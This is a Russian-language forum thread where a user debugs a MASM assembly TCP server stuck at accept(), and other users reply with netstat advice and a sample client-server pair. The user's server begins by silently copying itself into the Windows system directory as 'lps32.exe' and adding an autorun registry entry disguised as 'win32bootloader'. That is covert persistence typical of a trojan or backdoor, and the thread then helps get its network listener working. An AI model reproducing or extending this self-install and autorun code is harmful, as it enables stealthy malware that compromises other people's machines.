такая проблема: создаю сервер на asm-е, и он остается на стадии accept(), даже когда поступает запрос на подключение. вот код: Code: .386 .model flat,stdcall option casemap:none include C:\masm32\INCLUDE\WINDOWS.INC include C:\masm32\INCLUDE\KERNEL32.INC include C:\masm32\INCLUDE\USER32.INC include C:\masm32\INCLUDE\ADVAPI32.INC include C:\masm32\INCLUDE\ws2_32.inc includelib C:\masm32\lib\user32.lib includelib C:\masm32\lib\gdi32.lib includelib C:\masm32\lib\kernel32.lib includelib C:\masm32\lib\user32.lib includelib C:\masm32\lib\advapi32.lib includelib C:\masm32\LIB\ws2_32.lib ;########################################################### ;data--data--data--data--data--data--data--data--data--data-- PROC ;------------------------------------------------------------ .DATA dest_name db '\lps32.exe',0 dest db 256 dup (0) source db 256 dup (0) comand_shabl db 'REG ADD hklm\software\microsoft\windows\currentversion\run /v win32bootloader /t reg_sz /d %s -f',0 comand db 256 dup (0) wsadata WSADATA <0> ssock DWORD 0 saddrs sockaddr_in <0> csock DWORD 0 recv_buf db 1024 dup (0) ;returned DWORD 0 ;############################################################## ;code--code--code--code--code--code--code--code--code--code-- PROC ;--------------------------------------------------------------------------------------------------- .CODE START: ;----------установка в систему invoke GetModuleFileName , 0 , offset source , 256 invoke GetSystemDirectory,offset dest,MAX_PATH invoke lstrcat,offset dest,offset dest_name invoke CopyFile,offset source, offset dest,1 invoke wsprintf,offset comand,offset comand_shabl,offset dest invoke WinExec,offset comand,0 ;------сеть invoke WSAStartup, 202h,offset wsadata;стартуем винсок cmp eax,-1;если ошиблись je EXIT;выходим invoke socket, AF_INET, SOCK_STREAM, 0 ;создаем соект cmp eax,-1 ;если ошиблись je EXIT ; выходим mov ssock,eax; если еще не вышли, т.е. не было ошибок - запоминаем сокет ;-------заполняем адресную структуру mov saddrs.sin_family,AF_INET ; работать будем с интернетом invoke htons,80 ;80 порт. располгаем айты в сетевом порядке mov saddrs.sin_port,ax ;переносим результат в порт адресной структуры invoke bind,ssock,offset saddrs,SIZEOF sockaddr_in ;связываем сокет с локальным адресом cmp eax,-1;если ошиблись je EXIT; выходим invoke listen,ssock,10;слушаем сокет cmp eax,-1; опять: если ошиблись... je EXIT;..выходим invoke accept,ssock, 0, 0; принимаем соединение cmp eax,-1; ели ошибка je EXIT; выход mov csock,eax; если не вышли, те. не было ошибки - запоминаем сокет invoke recv,csock,offset recv_buf,1024,0; получаем 1024 байта invoke MessageBox,0,offset recv_buf,0,MB_OK; показываем что получили invoke closesocket,csock invoke closesocket,ssock invoke WSACleanup EXIT: invoke ExitProcess , 0 ;++++++++++++++++++++++++++++++++++++++++++++ END START td32 показывает что он доходит до accept и ждет. потом я запускаю такую софтину на delphi(писал на скорую руку - сильно не пинать): Code: procedure TForm1.Button1Click(Sender: TObject); var str:string; w:wsadata; s:integer; sa:sockaddr_in; begin wsastartup($101,w); s:=socket(af_inet,sock_stream,0); sa.sin_family:=AF_INET; sa.sin_port:=htons(80); sa.sin_addr.S_addr:=inet_addr('127.0.0.1'); connect(s,sa,sizeof(sa)); str:='ololol'#13#10; send(s,str[1],length(str),0); CloseSocket(s); wsacleanup(); end; по идее после нажатия кнопки должно высветиться ololol на мониторе, но ничего не происходит, а сервер продолжает висеть на accept-е. что здесь не так? может с портом что нибуть не так?
после запуска серверной части погляди, реально ли порт биндится к примеру в консоле вбей netstat -a -p TCP и там должна быть запись типа TCP ****:http *****:0 LISTENING К тому же в клиентской части проверяй что вернет connect, точно ли коннект был удачный
Вот смотри рабочий код клиент-сервер на masm: server: Code: .386 .model Flat, StdCall option casemap:none includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\wsock32.lib include \masm32\include\kernel32.inc include \masm32\include\user32.inc include \masm32\include\wsock32.inc include \masm32\include\windows.inc .data wsadata WSADATA <> mCaption db "Error! Suxx!", 0 mText1 db "Error WSAStartUp", 0 mText2 db "Error2", 0 hSock DWORD ? hSock2 dd ? sin sockaddr_in <> sPort DWORD 1995 buffer db 1024 dup (0) mCaption2 db "Woohoo", 0 mText3 db "Connected!", 0 .code Main: invoke WSAStartup, 101h, ADDR wsadata .if eax!=NULL invoke MessageBoxA, 0, ADDR mText1, ADDR mCaption, 0 .endif invoke socket, AF_INET, SOCK_STREAM, 0 .if eax==INVALID_SOCKET invoke WSAGetLastError .endif mov hSock, eax invoke htons, sPort mov sin.sin_port, ax mov sin.sin_addr,0 mov sin.sin_family, AF_INET invoke bind, hSock, ADDR sin, sizeof sin invoke listen, hSock, SOMAXCONN invoke accept, hSock, NULL, NULL mov hSock2, eax datarecv: invoke recv, hSock2, ADDR buffer, 1024, 0 .if byte ptr buffer=="Q" invoke MessageBoxA, 0, ADDR mText3, ADDR mCaption2, 0 jmp Quit .endif jmp datarecv Quit: invoke WSACleanup invoke ExitProcess, 0 end Main client: Code: .386 .model flat, stdcall option casemap:none includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\wsock32.lib include \masm32\include\kernel32.inc include \masm32\include\user32.inc include \masm32\include\wsock32.inc include \masm32\include\windows.inc .data wsadata WSADATA <> mCaption db "Error! Suxx!", 0 mText1 db "Error WSAStartUp", 0 mText2 db "Error Connect", 0 mText3 db "Error Send", 0 hSock DWORD ? hSock2 dd ? sin sockaddr_in <> sPort DWORD 1995 sIP db "127.0.0.1", 0 buffer db "Q", 0 .code Main: invoke WSAStartup, 101h, ADDR wsadata .if eax!=NULL invoke MessageBoxA, 0, ADDR mText1, ADDR mCaption, 0 jmp Quit .endif invoke socket, AF_INET, SOCK_STREAM, 0 .if eax==INVALID_SOCKET invoke WSAGetLastError jmp Quit .endif mov hSock, eax invoke htons, sPort mov sin.sin_port, ax invoke inet_addr, ADDR sIP mov sin.sin_addr, eax mov sin.sin_family, AF_INET mov sin.sin_zero,8 invoke connect, hSock, ADDR sin, sizeof sin .if eax==SOCKET_ERROR invoke MessageBoxA, 0, ADDR mText2, ADDR mCaption, 0 jmp Quit .endif mov hSock2, eax invoke send, hSock, ADDR buffer, sizeof buffer,MSG_DONTROUTE .if eax==SOCKET_ERROR invoke MessageBoxA, 0, ADDR mText3, ADDR mCaption, 0 jmp Quit .endif Quit: invoke closesocket, hSock invoke WSACleanup invoke ExitProcess, 0 end Main Может чем нибудь поможет)
проблема решена. она заключялась в том, что какаято хрень по мимо моей программы так же слушала 80 порт и клиент коннектился к ней и естественно она не как не реагировала на команду "ololol\r\n". когда изменил на 8080 - все стало ок.